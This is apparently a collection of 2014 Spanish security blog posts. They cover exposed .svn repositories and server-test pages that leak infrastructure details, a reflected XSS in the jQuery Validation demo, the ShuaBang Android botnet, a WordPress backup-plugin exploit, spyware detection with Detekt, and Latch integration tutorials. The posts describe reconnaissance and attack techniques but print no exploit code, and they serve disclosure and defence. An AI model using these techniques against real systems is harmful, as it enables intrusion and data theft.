Aún más flagrante es el siguiente fallo, ya que como se puede ver en la imagen llama poderosamente la atención el directorio .svn, en el que se puede localizar dentro de él el fichero entries. En directorio suele ser utilizado para almacenar la información de las últimas actualizaciones que se desarrollan en proyectos donde se utiliza Subversión para la gestión del código.

Bug 3: Publicación de repositorio de código

La publicación en producción de los repositorios de código es un error común en muchos entornos en los que, o bien no hay entornos de desarrollo, pruebas y producción separados o en los que el paso a producción se hace de forma insegura. Es por eso que es muy común para los pentesters buscar y explotar estos bugs como explicaron en el blog de Eleven Paths con su herramienta de pentesting persistente Faast, o como se hace desde hace mucho tiempo con FOCA, que no solo busca estos repositorios sino que además tiene un plugin para interpretar el fichero .svn/entries.

Figura 5: Plugin de .svn/entries en FOCA

Como se observa en la imagen recortada del fichero .svn/entries, aparece quién es el proveedor que desarrolla este tipo de aplicaciones y dónde ubica su repositorio. En caso de poder tener acceso a su código, podría buscarse alguna vulnerabilidad en él y poder inferir quiénes son sus clientes con el mismo código afectado.

También observamos los ficheros (file) que han sido actualizados y el nombre de usuario y la fecha de acceso. Mirando la última fecha de acceso podemos ver que en este tipo de dispositivos el año es el mismo sobre el 2009-2010, lo que da una idea de la desactualización del firmware de todos ellos, lo que podría hacerlos vulnerables a los últimos grandes bugs como HeartBleed o Shellshock.

Figura 6: Fichero .svn/entries en el dispositivo encontrado

Podríamos acceder también al directorio .svn/text-base para ver si se guardan copias del fichero .htaccess o de cualquier otro que arroje información sobre usuarios, conexiones, etcétera. Y, como no, buscar la base de datos de ficheros Pristine donde estaría el código fuente completo de todos los ficheros del servidor.

Bug 4: Leak de network information

Además, en todos los dispositivos con este modelo concreto es posible realizar un listing de los directorios, lo que permite la extracción en una auditoría de seguridad de información más que relevante, aparte de poder acceder a varios de ellos con su nombre de usuario y contraseña por defecto.

Figura 7: Información de otros dispositivos y puertos en la red

Y utilizando el nombre del modelo para la búsqueda de este tipo de dispositivos en Shodan, incluso podríamos obtener información del direccionamiento interno de una organización con los números de puertos asociados:

Conclusión

Visto esto, el paso a producción de un dispositivo debería ser controlado por un equipo de QA que verifique que todo se está haciendo de formar segura y sin fugas de información. Sacar una imagen de dispositivo que después va a ser industrializada con estos errores garrafales demuestran muy poco interés y respeto por la seguridad de los clientes.

Autor: Amador Aparicio
Twitter: (@amadapa)

Seminarios formación en Latch: Gana tú los 10.000 USD

$
0
0
Durante lo que queda de año hemos preparado un plan de formación para que aprendas a integrar Latch en tus proyectos, ya sean aplicaciones web, sistemas de seguridad en tus servidores, en tus dispositivos de red o hasta en tu mundo físico. El objetivo es que puedas crear tu propio plugin de Latch para presentarte al concurso y llevarte los 10.000 USD, los 5.000 USD, los 1.000 USD y/o la beca de trabajo en Eleven Paths, así que no dejes pasar esta oportunidad Este calendario está formado por una serie de seminarios online, conferencias y cursos presenciales gratuitos a los que puedes apuntarte desde ya.

Figura 1: Seminarios Latch Talks online

La primera de ellas es de 10:00 a 11:00 en la URJC - en el campus de Móstoles - así que si lees esto a tiempo puedes ir a ella. En esta se explicará cómo funcionan los ataques de Blind SQL Injection y cómo se puede integrar Latch en una aplicación web. 

Latch: Talks

En primer lugar, durante la semana que viene se darán tres seminarios online de integración de Latch en aplicaciones web. En estas tres sesiones gratuitas de una hora nos centraremos en los SDK de Latch para Java, PHP y .NET. las formaciones duran 1 hora y las darán directamente tres ingenieros de desarrollo de Eleven Paths contando con ejemplos claros cómo utilizar Latch en aplicaciones web creadas en esas tecnologías. Recuerda, que los SDK los puedes descargar desde la web y directamente desde los entornos de desarrollo que utilices. El calendario es:

Seminario “Integrar Latch en aplicaciones Java” por Javier Espinosa.
25 de noviembre de 2014. De - 16:00 a 17:00 horas (UTC/GMT +1 hora). 
Seminario “Integrar Latch en aplicaciones .NET” por Ioseba Palop.
26 de noviembre de 2014. De 16:00 a 17:00 horas (UTC/GMT +1 hora).
 
Seminario “Integrar Latch en aplicaciones PHP” por Alessandro Fanio.
27 de noviembre de 2014. De 16:00 a 17:00 horas (UTC/GMT +1 hora).
Debes apuntarte en la web de registro para participar gratuitamente: Latch Talks.

Talleres en el CyberCamp

Durante los días 5, 6 y 7 de Diciembre tiene lugar el CyberCamp en Madrid que ha organizado Incibe. En este evento, además de haber charlas de Jeff Moss, Stefano di Paola, Richard Stallman, Fermin J. Serna, etc... - yo daré una de ellas -.

Figura 2: CyberCamp en Madrid

También habrá talleres de formación gratuitos, entre los que hay un ciclo de formación dedicado a Latch con tres bloques.
Bloque I: ¿Qué debe saber un usuario de Latch?
- Descripción de la solución
- Entornos de integración
 
Bloque II. ¿Qué debe saber el desarrollador?
- API de desarrolladores
- Integradores
 
Bloque III. Proyectos
Allí también habrá seminarios de Sinfonier, por si quieres apuntarte a aprender a desarrollar cosas. Para apuntarte debes registrar tu plaza cuanto antes, porque son limitadas. Si eres de fuera, venirte a aprender gratis tecnología y pasar un fin de semana en Madrid es una buen plan.

Canal de Formación Online y Manuales

Además de todos estos recursos, en Youtube tenemos un canal de Eleven Paths donde se están subiendo todos los vídeos que tengan que ver con las tecnologías que hacemos. Allí encontraréis una lista con todos los vídeos de conferencias y tutoriales sobre Latch. Todas mis conferencias de Latch están en otra lista que tengo creada en mi canal.

Figura 3: Manuales de Latch en el Canal SlideShare

En el canal SlideShare de Eleven Paths hemos añadido nuevos manuales y guías que puedes utilizar para implantar Latch en otros entornos. Entre los entornos de los que tienes guías están SugarCRM, RoundCube, RedMine, OpenLDAP, Squirrelmail, PHPmyAdmin, Moodle, etcétera, etcétera.


Además, os hemos dejado el paper que hemos publicado en la RECSI 2014 sobre los principios en los que se basa Latch. Un documento técnico para un entorno académico.

One more thing

Por último, yo estaré en el Codemotion 2014 en Madrid este viernes dando una charla por la tarde, así que si te pasas por allí, intentaré resolverte las dudas que tengas. Aprovecha tu tiempo, aprende cosas, y participa en el Latch Plugin Contest que te puedes llevar un buen premio de Reyes Magos. Menos fijar tu futuro a la lotería y más fiarlo a tus conocimientos y esfuerzos personales.

Saludos Malignos!

Fugas de información en las webs de Server Testing

$
0
0
Este que va es el último artículo de una serie que comenzó buscando los Huevos de Pascua de PHP. Como ya os conté, buscando servidores en los que probar me topé con el fichero check.php de Symfony que mostraba datos jugosos sobre la instalación del servidor. Algo similar a un info.php que tanto ayuda cuando se encuentra en una auditoría. Buscando archivos check.phpen los robots.txt llegué por pura casualidad a magento-check.php, que también daba cierta información de la infraestructura que estaba detrás cuando se había montado un servidor e-commerce con Magento. En ese punto se me ocurrió buscar otras formas de comprobación de infraestructura estaría usando la gente en sus aplicaciones web para ver qué salía. Y salió mucho y variado.

Figura 1: Riesgos de seguridad. Un leak de serverstatus.php lleva a todos los PHP Info

Lo que hice fue empezar a jugar con combinaciones de palabras habituales con los que alguien podría llamar a este tipo de ficheros para comprar los servicios. Cosas como test, info, server, status y similares. Después, buscar estas cadenas en los robots.txt y simplemente esperar a ver qué salía. El resultado fue una pléyade de ficheros info.php cambiados de nombre, comprobaciones hechas a mano con información del back-end y algunas mucho más elaboradas. 

Figura 2: Un info.php guardado como testserver.php

En la parte de comprobaciones manuales os dejo estos cuatro ficheros en los que se puede ver la dirección IP y cómo comprueba su estado, la conexión a un servidor interno SQL Server con su nombre NetBIOS de conexión y una con el resumen de todo el software instalado.

Figura 3: Un /serverstatus/ que revela la dirección IP

Figura 4: Un servertest.php que revela rutas de software.

Figura 5: Un /ServerTest/ que revela un servidor SQL interno en la red

Figura 6: Un cheks.php que informa del software de la instalación.

En otros servidores, lo que ha aparecido han sido páginas mucho más elaboradas, parece que por algún tipo de aplicación concreta, y con aún más información todavía sobre versiones de bases de datos, direccionamiento IP, versiones del framework PHP, etcétera.

Figura 7: Un /serverInfo con detalles de la instalación.

Figura 8: En este caso /server-test/ revela el software interno y hasta la instancia de Oracle

Figura 9: Un fichero /server-test.php revela software y versión del framework PHP

Por último, os dejo otro grupo donde gracias a uno de estos test se puede conocer la infraestructura de toda la red interna, además de descubrir herramientas de monitorización personales que pueden utilizarse para escanear cualquier parte de sus sistemas, ya que admiten manipulación de paramétros de entrada con el nombre del servidor.

Figura 10: Un test.html que llama dinámicamente a cada servidor para saber si está vivo.

Al final, sea mediante programas que generen los frameworks, o mediante aplicaciones manuales hechas a medida para comprobar tu infraestructura, si no proteges el acceso a estos ficheros en tus servidores web, entonces estarás teniendo fugas de información que podrán ser utilizadas por cualquier atacante para construir un ataque a medida contra tu empresa. Viendo esto, en nuestro sistema de Pentesting Persistente Faast, en la parte de fuzzing de webs hemos metido la lista de combinaciones completas de nombres de estas aplicaciones de testing de infraestructura para descubrir estas fugas de información lo antes posible.

Saludos Malignos!

JQuery Validation: Un bug XSS en la demo de validación

$
0
0
JQuery Validation es un plugin que permite validar el contenido de los formularios. Para que la gente aprenda a utilizarlos, las librerías se distribuyen con un conjunto de pequeñas pruebas de concepto que enseñan a utilizar las diferentes opciones de validación. Pues bien, si no parcheas JQuery Validation o eliminas esas demos, estás poniendo en riesgo la seguridad de tu plataforma, ya que tiene un XSS reflejado en una de ellas, tal y como se puede ver en la este artículo.

Figura 1: Elimina el XSS de la demo de JQuery Validation

Las demos de las librerías se encuentran dentro de una carpeta llamada demo de la ruta de instalación de JQuery Validation. Es fácil localizar sitios en Internet con este componente, ya que la ruta de la web suele ser jquery-validation más la versión concreta de las librerías.

Figura 2: Demos en una instalación de JQuery Validation

Dentro de esas demos, hay unas para validación por AJAX de los valores del captcha que puedes encontrar dentro de la ruta %jquery-validation-path%/demo/captcha/index.php. Al invocar esa URL en un sitio con las demos del componetne activadas aparecerá este pequeño formulario.

Figura 3: Demo de validación de Captcha por AJAX en JQuery Validation

Pues bien, el investigador Sijmen Ruwhof ha publicado que en ese fichero exacto hay un bug de XSS reflejado que hace años que no querían arreglar en el proyecto, pero por suerte, después del ruido generado con su publicación han arreglado. El bug se encuentra en la generación de un enlace que utiliza la ruta que del fichero.

Figura 4: Código vulnerable en la demo

Un atacante puede inyectar algo tan sencillo como cerrar el hipervínculo y abrir una sección de código Script para lanzar cualquier código.

Figura 5: En amarillo la inyección necesaria en el exploit

Cuando se crea el enlace en la respuesta se ejecuta el Script al quedar el código como sigue.

Figura 6: Código resultante con ejecución de script
Al final, el tener los ficheros de demo publicados en una web en producción es el fallo de seguridad en sí, y deberías simplemente quitarlos. Si no lo quitas, puedes actualizar el componente que el desarrollador del pluginJQuery Validation ya lo ha arreglado. Él no fue quién introdujo el bug, sino el creador de la demostración pero si tienes este fichero sin parchear alguien podría hacer un ataque de hijacking para robar las cookies de la sesión de usuario.

Figura 7: Explotación de bug de XSS Reflejado en demo de JQuery Validation

Por supuesto, si las cookies de sesión de tu web están bien definidas con valores HTTP-Only, Secure, con la zona de aplicación restringida a los directorios concretos y no para todo el sitio, si tienes correctamente forzado el uso de filtros Anti-XSS en las variables de X-XSS-Protection y/o has configurado unas Content Security Policies para evitar la inserción en medio del código de comandos Script, entonces el impacto sería menor. En cualquier caso, tengas el framework que tengas, si usas JQuery Validation mi recomendación es que actualices a la última versión y luego quites todas las demos.

Saludos Malignos!

Premio Bitácoras 2014 como mejor blog de Seguridad Informática. ¡Gracias Hackers!

$
0
0
Ayer se entregaron los Premios Bitácoras 2014, y El lado del mal recibió el premio al Mejor Blog de Seguridad Informática. Este es el segundo año que lo consigue - también lo logró en 2012 -, y esta vez sí me pasé a por él, ya que la vez anterior no pude hacerlo. Quería aprovechar los pocos minutos que se tienen cuando te dan este premio para hacer una petición a los bloggers que allí se congregan, así que, a pesar de llevar un largo día a las espaldas, me pasé a recoger el premio.

Figura 1: Premio Bitácoras 2014 al mejor blog de seguridad informática

El premio se lo dan a El lado del Mal, y no a Chema Alonso, ya que sois muchos los que escribís artículos aquí, culpables todos ellos de que otros muchos visitantes vengan a leerlos y día a día sea un poco más conocido. Pero también se lo dan a los hackers que no tienen un blog popular pero hacen investigaciones durante semanas y/o meses para publicar su trabajo en un post. Gracias a todos esos hackers que con - pequeños en tráfico pero grandes en valor - sus blogs aumentan el conocimiento general de la seguridad informática. Es por eso hice el discurso que podéis ver aquí.


Figura 2: Premios Bitácoras 2014: Mejor Blog de Seguridad

Como podéis ver, aproveché mis tres minutos para pedirle a todos los allí presentes, que nunca utilicen el término de hacker tal y como la RAE lo ha recogido en su diccionario. La acepción de "Pirata Informático" y su directa criminalizacíon no es algo que sea justo para con el termino. Les pedí que utilicen el término de hacker como los recoge el IETF hace décadas, que es como creo que debería haber estado recogido por la RAE.

Figura 3: Hacker según el RFC 1392 de 1993

Así, mientras las empresas tecnológicas siguen contratando a los mejores hackers para evolucionen los sistemas y los hagan más seguros, algunos media siguen confundiendo a hackers con hacktivistas o ciberciminales. Ya hemos pasado las 5.000 firmas para que se cambie la definición, y espero que al final, poco a poco, la gente acabe entendiendo que los hackers son grandes. Este premio es de todos aquellos que han investigado algo, por pequeño que sea, y lo han publicado para que la gente aprenda, a pesar de que su blog no sea famoso.

Saludos Malignos! 

Detekt: ¿Hay alguien espiándome en mi ordenador?

$
0
0
Ya hace mucho tiempo que salieron a la luz pública casos de espionaje de gobiernos a ciudadanos por medio de software especialmente creado para espionaje gubernamental. Ahora Amnistía Internacional, Electronic Frontier Foundation y otras organizaciones pro-derechos civiles ha lanzado Detekt, una herramienta creada por Claudio Guarnieri para ayudar a encontrar software de espionaje utilizado en equipos de personales.

Figura 1: ¿Hay alguien espiándome en mi ordenador?

Dentro del desarrollo de soluciones R.A.T. (Remote Administration Tools) existen algunas que son más del mundo underground hechas por hacktivistas para sus acciones de reivindicación, otras que son generadas por grupos de cibercrimen que pueden ir desde soluciones amateurs hasta bots profesionales que se comercialización, algunas hechas a medida para operaciones A.P.T. contra objetivos concretos - famosos son los ataques contra los grupos pro-Tibet y el Dalai Lama - y otras que se hacen para comercializar en gobiernos y cuerpos de seguridad del estado.

El software de espionaje comercial

Este último, el software de espionaje gubernamental es un sector en el que se posicionan algunas empresas para cubrir las necesidades que en algunos países tienen los gobiernos que han legalizado este tipo de técnicas, como por ejemplo en Holanda y Alemania donde los cuerpos de seguridad del estado puede utilizar estos programas baja la supervisión judicial. Por supuesto, como denunció Reporteros sin Fronteras, también acaban siendo utilizados por gobiernos totalitarios que persiguen a disidentes sin ningún control. De las empresas que hacen este tipo de software hay algunas que se han hecho muy populares por incidentes y filtraciones recientes.


Figura 2: Funcionamiento de FinFisher/FinSpy Mobile

El primero que saltó a los medios de comunicación masiva fue el caso de FinFisher y su software de monitorización móvil FinSpy que desarrolla la empresa Gamma International. Este software fue descubierto en las revueltas de la primavera árabe en Egipto, y desde entonces ha estado en el centro de la noticia. En un análisis posterior de la herramienta se descubrieron paneles de control en 25 países por todo el mundo, lo que dejaba al descubierto más o menos qué organizaciones y/o países estaban utilizando dichos programas.

Figura 3: Ubicaciones en las que se encontraron paneles de FinFisher

Por supuesto, en el mundo de la seguridad se le sigue la pista a FinFisher & FinSpy desde hace tiempo, ya que el truco de Masque utilizando provisioning profiles - no suplantando apps, pero si metiendo fake apps - para infectar terminales iPhone con software de espionaje ya lo usaban ellos hace tiempo, y en los equipos Windows llegaron a utilizar a Mozilla Firefox para colarse dentro de los sistemas.

Figura 4: Panel de análisis de Hacking Team RCS 9

Otro de los software comerciales posicionados como R.A.T.s gubernamentales es el famoso RCS de Hacking Team, que recientemente ha sufrido una filtración de su documentación permitiendo saber exactamente cómo funciona este software. Entre los trucos que usan este último están los ataques de fake AP en redes WiFi para infectar equipo o el último de hacer Jailbreak a los terminales iPhone desde un equipo Windows pareado para poder infectarlo con el bot de RCS.

Por supuesto estos no son los únicos programas espías que se venden, ni las únicas empresas que los desarrollan. Ya vimos hace tiempo cuando Anonymous hackeó la empresa HBGary como ellos desarrollaban herramientas como 12 Monkeys o Task.B para troyanizar equipos infectados.

¿Qué hace Detekt?

Detekt es un software desarrollado en Python para buscar los rastros de FinFisher/FinSpy & Hacking Team RCS dentro del equipo, además de algún otra R.A.T. popular como DarkComet, Por supuesto, después de toda la información que se ha hecho pública de ambas familias se conoce mucho de ellos ya que de FinFisher se filtró el código completo y de HackingTeam RCS toda la documentación, así que si se lanza en un equipo infectado, entonces es posible que sepa si hay alguno de ellos actualmente instalados en el equipo.

Figura 5: Funcionamiento de Detetk. Te recomienda hacerlo offline

La pregunta que mucha gente se hace es si es fiable o no. La respuesta es que no es 100% fiable, por supuesto. En primer lugar los creadores de los RATs que busca este software están acostumbrados a lidiar con software antimalware desde hace mucho tiempo, y está claro que harán los deberes para primero hacerse indetectables y segundo atacar e inutilizar este software en los equipos en los que se vaya a utilizar. 

No hay que olvidar que este software de espionaje tiene conexión directa con el panel de control y puede mutar a gusto, cambiar los binarios, modificarse en caliente, etcétera. Nada sencillo para detectarlo en un equipo vivo. De hecho, mi solución contra este tipo de casos es la que os propuse en en un artículo que decía que una buena política antimalware y antiAPTs debe mirar en el pasado, analizando instantáneas pasadas de los sistemas informáticos de una organización.

Figura 6: Propuesta de análisis de copias de seguridad para detectar bots mutados

Sea como fuere, esto es un juego del gato y el ratón, así que si tienes un equipo del que sospechas pueda haber sido infectado con FinFisher/FinSpy o Hacking Team RCS mejor que pases un antimalware actualizado y pruebes Detekt antes que no hacer nada, pero lo suyo sería que le hicieras un buen análisis forense a ver qué sale de ahí, y que antes de llegar a ese punto tengas fortificado al máximo tu Windows. A día de hoy Detekt sólo funciona en Windows en versiones anteriores a Windows 8.1.

Saludos Malignos!

Cómo "cocinar" una aplicación web PHP con Latch

$
0
0
Este viernes di mi charla en {Codemotion 2014}. La charla, bajo el título de {Love Always Takes Care & Humility} estaba centrada en una demo paso a paso para que un programador pudiera integrar una aplicación PHP con Latch desde cero. Para darle un toque curioso a la charla, la presentación estaba ambientada en la serie Breaking Bad y en este artículo os recojo paso a paso la demo de la charla.

Figura 1: Cómo "cocinar" una aplicación web PHP con Latch

Las diapositivas que utilicé para esta sesión las he subido a mi canal SlideShare por si alguien las quiere ver, pero en ellas no se encuentra descrita la demostración que enseñé durante la charla, por lo que os la paso a describir por aquí.


Paso 1: Arquitectura de la aplicación PHP sin Latch

El sitio web, llamado Maligno.com, no estaba publicado a Internet, pero sí que tenía conexión a Internet para poder consultar en cualquier momento los servidores de Latch. El sitio solo cuenta con una página de inicio llamada index.php desde la que se puede acceder a un formulario de login que se publica desde login.php.

Figura 3: Arquitectura de la web sin usar Latch

El formulario de login es autenticado por loginController.php que se encarga de verificar incialmente que el usuario y la contraseña son correctas. Si son correctas las credenciales, el usuario accede a su página de perfil donde no hay nada más que un mensaje de bienvenida.

Figura 4: Tabla users en MySQL se ha habilitado una columna para guardar el Latch de cada usuario

Esa comprobación se realiza desde una función creada en latchHelpers.php, donde además de autenticar el usuario contra la base de datos, se ha creado otra función para saber si un usuario tiene puesto un Latch y cuál es su AccountID - en la base de datos LatchID -, que se ha llamado getLatchID().

Figura 5: Funciones authenticateUser() y getLatchID() en LatchHelpers.php

A partir de este punto, ya podemos comenzar a integar Latch en esta aplicación web en PHP en varios pasos, que fue lo que se hizo en la demo.

Paso 2: Creamos la aplicación Latch para esta web en PHP

Para comenzar la integración debemos crearnos una cuenta de desarrollador gratuita en Latch. Allí deberemos crear una aplicación Latch donde es necesario proporcionar información para mostrar en las alertas de usuario, como son el mensaje de texto, un logotipo para mostrar en la app, un correo electrónico y/o número de teléfono para casos de emergencia.

Figura 6: Pasos para crear la app de Latch para identificar la web en PHP

Una vez creada, la aplicación tendrá un Application ID y un Secret para autenticarse en el sistema y hacer uso del SDK de Latch. El SDK de Latch se puede descargar desde la web de Latch o en el caso de que utilices peardirectamente con la herramienta de instalación de software.

Figura 7: Creación de la app de Latch. En este caso Pollos Hermanos.

El SDK de Latch para PHP son tres ficheros Latch.php, Errors.php y LatchResponse.php que se guardan dentro de la carpeta controllers/Latch/ para que puedan ser utilizados en la aplicación incluidos en aquellas partes donde será necesario hacer uso del API de Latch.

Figura 8: SDK de Latch, ficheros originales de la web
y Controladores de Integración con Latch

Los datos de ApplicationID y Secret se van a cargar en latchConfig.php, donde además se hace inclusión del SDK de Latch para PHP. A partir de este momento, cada vez que sea necesario utilizar el API de Latch bastará con incluir latchConfig.php que nos dará acceso directo a las funciones.

Figura 9: Configuración en latchConfig.php del SDK de Latch para PHP, el ApplicationID y el Secret

Paso 3: El pareado de la cuentas con Latch

Una vez que la aplicación web PHP está conectada con Latch, ya podemos pasar a la fase de parear las cuentas de usuario, para eso el proceso de integración será el siguiente descrito en el gráfico.

Figura 10: Proceso para parear cuentas de la web PHP con Latch

Lo primero es añadir en profile.php un formulario para solicitar el TTP (Token Temporal de Pareado) que da la app de Latch cuando se parea un servicio. Si no lo has hecho nunca, te recomiendo que sigas el tutorial con Tuenti, Nevele Bank o con OxWord para tener la experiencia de usuario clara. 

Figura 11: Formulario para solicitar el TTP dentro del perfil de usuario

El TTP es enviado a un controlador en latchController.php donde se va a recibir y solicitar el pareado. Para eso se hará uso de la función pair() del SDK de Latch para PHP que puede verse en Latch.php.

Figura 12: Funciones en Latch.php del SDK de Latch

Así, en latchController.phpúnicamente se carga latchConfig.php, se llama a la función pair() del API de Latch y el resultado se guarda haciendo un Update en la base de datos MySQL para que el AccounID (identificador único del Latch) quede asociado al usuario.

Figura 13: Código de LatchController.php para hacer el pareado de las cuentas

Como se puede ver, al final en la base de datos ya tendremos el id por el que preguntar el estado y al mismo tiempo al usuario le habrá salido - cuando realice el proceso completo de pareado - el Latch de nuestra app"Pollos Hermanos" en su aplicación.

Figura 14: Cuando el usuario hace el pareado, el resultado de la función pair() se almacena en la tabla users

Con esto habríamos acabado la parte del pareado de las cuentas y ya solo quedaría comprobar si el pestillo está abierto o cerrado en cada uno de los intentos de login en la web

Paso 4: Comprobación del estado del pestillo del usuario

Ahora, cada vez que se realice un proceso de login hay que comprobar cuál es el estado del AccountId asociado a esa cuenta de usuario. Para ello, el proceso que tendremos que hacer en la aplicación web PHP es el siguiente descrito en el gráfico.

Figura 15: Proceso para autenticar el estado del Latch de cada usuario

Como se puede ver, el proceso en la aplicación web PHP pasa por modificar el controlador de autenticación loginController.php para que además del usurario y la contraseña compruebe el estado que tiene ese AccountID. Para ello, el código necesario sería el siguiente.

Figura 16: Código de verificación del estado en LoginController.php

El resto del trabajo para un usuario es simplemente decidir desde su app de Latch si quiere tener un estado abierto o cerrado, como con el resto de las aplicaciones.

Figura 17: Aplicación de "Pollos Hermanos" en mi app de Latch

Paso 5: Finalización de la integración

Por supuesto, el resto del proceso aún está por terminar. Faltaría hacer un proceso de despareado, que podría ser de forma segura creando por ejemplo una operación que bloqueara si se puede realizar el unpair() o no, pero la parte principal del proceso ya estaría hecha. El objetivo de este ejemplo era que pudiera hacerse desde cero en 10 minutos dentro de la charla, para aprender a desarrollar mejor esta semana tenemos las formaciones gratuitas de Latch en Latch Talks. Mañana vía Internet de 16:00 a 17:00 horas para los desarrolladores de Java, el miércoles para los desarrolladores de .NET y el jueves para los desarrolladores en PHP.

Figura 18: Latch Talks para aprender a integrar apps Java, .NET y PHP con Latch

Por último, el fin de semana del CyberCamp tendrá lugar una serie de talleres gratuitos en los que se podrán hacer proyectos tutorizados, por lo que si quieres aprender bien es el lugar ideal. Después de esto, ya puedes llevarte los 10.000 USD del Latch Plugin Contest.

Saludos Malignos!

CyberCamp is Comming: Get Ready!

$
0
0
Ya hay más de 1.000 personas registradas en el próximo CyberCamp que tendrá lugar los días 5, 6 y 7 de Diciembre en Madrid. Hackers y aficionados a la seguridad informática por doquier, en un evento organizado por Incibe - el antiguo Inteco - y en el que se darán cita ponentes de la talla de Fermín J. Serna a.k.a. "zhodiac", Jeff Moss - fundador de DEFCON y BlackHAT -, Richard Stallman, Stefano Di Paola - padre del HPP -, Alejandro Ramos a.k.a "Dab" co-autor del ya "mítico" Hacker Épico", Joanna Rutkowska, Raúl Siles, Alfonso Muñoz y Jorge Ramió - autores del libro de Criptografía: de la cifra clásica a RSA - o mi compañero de Eleven Paths y amigo Pablo González y su taller de Metasploit, entre otros muchos.

Figura 1: CyberCamp tendrá lugar el 5, 6 y 7 de Diciembre de 2014 en Madrid

El evento se va a llenar de conferencias, talleres, cursos, grupos de trabajo, tertulias, etcétera, para que ese fin de semana sea muy especial para mejorar los niveles de seguridad informática de todos los participantes. Lo mejor de todo es que es gratis para todos los asistentes - hasta que se acaben las plazas - , y que a pesar de lo que piense la RAE, los hackers que allí se junten van a hacer que mejore de forma exponencial la seguridad de nuestro país. Por eso, hemos hecho este vídeo de invitación con Cálico Electrónico.


Figura 2: Cálico Electrónico y el CyberCamp 2014

Yo estaré el día 6 de Diciembre dando una charla - aún no he decidido exactamente el tema pero creo que prepararé alguna cosa nueva - y además, para que los que quieran puedan participar en el concurso de Latch y llevarse los 10.000 USD, vamos a dar un Taller de Latch, así que reserva cuanto antes tu plaza para que no te la quiten.

Saludos Malignos!

PD: Hoy por la tarde comienzan las Latch Talks, así que si aún no te has apuntado date prisa para poder llegar a la sesión de hoy, de mañana y/o de pasado mañana.

ShuaBang Botnet: Red de terminales zombies Android creada vía Google Play para Black Hat App Store Optimization

$
0
0
Hace unos días que habíamos pasado el informe a los clientes de los servicios de Vigilancia Digital, pero ayer fue el día que publicamos los detalles de ShuaBang Botnet, una red de terminales Android Zombies que descubrimos hace quince días y que estaba orientada a hacer lo que se denomina BlackASO (BlackHat App Store Optimization), es decir, una especialización del BlackSEO pero orientado al posicionamiento de las apps en los store de Google Play o App Store.  

Figura 1: ShuaBang Botnet en Android

Para conseguir construir esta botnet, el creador había construido más de 300 apps fraudulentas que había publicado en Google Play con distintas cuentas de desarrollador. Estas apps no eran todas maliciosas en sus primeras versiones, pero sí que podrían ser actualizadas en versiones posteriores para no llamar la atención y pasar bajo el radar. Las apps, por supuesto, no eran de gran calidad y ofrecían wallpapers, tutoriales, y similares. Trucos muy habituales por los creadores de adware en el mundo de Google Play.



De todo el conjunto, unas 100 de ellas - que están disponibles en el informe de ShuaBANG Botnet - también en versión en inglés - que hemos publicado desde Eleven Paths - infectaban a los que las instalaban. Revisando en nuestro Path 5 los permisos de las apps que utilizan para su funcionamiento, vimos que la lista que necesitan son lo siguientes.

Figura 3: Permisos utilizados por las apps maliciosas de esa botnet

Para conseguir su objetivo, desde el panel de control de la botnet, una vez que se conseguía infectar a un equipo, se proveía al dispositivo con una cuenta de Google que había sido creada por el master de la botnet.  Es decir, asociaba el dispositivo con una cuenta de Google que previamente había creado el atacante. Según pudimos averiguar, el creador de este esquema de botnet había sido capaz de crear 12.500 cuentas de Google que iba distribuyendo en las apps de los dispositivos para poder asociar el dispositivo con esa cuenta mediante un proceso de checkin que ejecuta desde el propio terminal infectado.

Figura 4: Esquema de entrega y registro de cuentas Google a los dispositivos infectados

Una vez que tiene una cuenta registrada desde un dispositivo el atacante utiliza los tokens de servicio que devuelve Google para realizar acciones de Click-Fraud - muy habitual en el mundo del fraude online - para posicionar información y realizar diferentes acciones. Con una cuenta Google registrada en un dispositivo Android es posible realizar muchas tareas que afectan al posicionamiento de apps en los markets, tanto de Google Play como otros para hacer BlackASO, pero también en otros sitios de Internet para hacer BlackSEO tradicional desde el dispositivo.

Figura 5: Control de acciones y renovación de tokens en los equipos infectados

El panel de control de la botnet es bastante sencillo y está pensado para ser bastante funcional. Por su aspecto y el código generado ha sido hecho a medida para esta botnet. En el se pueden ver los datos de las cuentas y terminales que controla.

Figura 6: Cuentas en el panel de control de la botnet

Curiosamente, en la base de datos hay un acceso privilegiado para una cuenta de una empresa de publicidad china que cuenta con sus propias credenciales de acceso a los datos desde una dirección muy concreta perteneciente a ellos.

Figura 7: Acceso privilegiado a la base de datos

Una de las cosas que más nos llamó la atención es que el sistema registraba, o intentaba hacerlo, apps utilizando el token de registro del dispositivo a la cuenta. Esto podría haber supuesto - de haber funcionado su sistema - que se hubieran podido forzar la descarga de nuevas apps en el dispositivo remotamente, pero viendo el código que empleaba parece que no lo había conseguido. Eso sí, nos quedó claro que ese era el camino que seguía.
Figura 8: ¿Intento de registro de apps en dispositivos remotos para generar su descarga automática?

Ahora las apps están caídas de Google Play pero el panel de control y muchos terminales infectados están aún disponibles - ninguno en España  por ahora - ya que su objetivo era India, Brasil y Rusia. En el informe publicado tienes los nombres y los hashes de las apps que podrás encontrar probablemente en otros markets.


Figura 9: Presentación de Path 5 - En busca de los cibercriminales

Para los que quieran saber cómo funciona nuestra plataforma de investigación Path 5, os dejo la conferencia del SID 2014 en la que David Barroso lo cuenta con un ejemplo detallado de cómo un analista puede realizar estas investigaciones, que es lo que hicimos nosotros para detectar ShuaBang Botnet. Si quieres más información de Path 5, ponte en contacto con nosotros.

Saludos Malignos!

WordPress: Si esta semana no te ocupaste de su seguridad... ha sido una mala idea

$
0
0
Si tienes instalado un WordPress, esta es una semana para preocuparse de verdad de la seguridad. Es probable que si no has tenido cuidado puede que alguien haya aprovechado alguna de las múltiples cosas que han salido publicadas, así que hoy toma un rato para preocuparte por él, ya que hay actualizaciones de seguridad, exploits publicados y pueden que te hayan hasta infectado algún blog.

Figura 1: Esta semana ha sido dura para la seguridad de WordPress

Exploit remoto para WordPress WP-Backup Plugin

Este ha sido quizá el fallo más peligroso que ha salido y desde luego se ha empezado a utilizar masivamente así que, si no has tenido cuidado, lo más probable es que te hayan robado la base de datos de tu WordPress y debas cambiar las contraseñas de todas tus cuentas y/o activar alguna protección extra como Latch para WordPress.

Figura 2: Sección del exploit escrito en Bash para robar el backup de WordPress WP-Backup Plugin

El problema es que ha salido publicado un Exploit para WP-Backup Plugin 2.2.4 escrito en Bash Script que está disponible en Full-Disclosure y que permite a un atacante remoto llevarse el backup completo de tu WordPress. Por supuesto nosotros hemos metido la detección de nuestro sistema de pentesting persistente Faast, pero debes comprobar si tienes esta versión vulnerable y si es así, actualizar y preparar un plan asumiendo que te han robado las contraseñas.

WordPress 4.0.1: Actualización Crítica de Seguridad

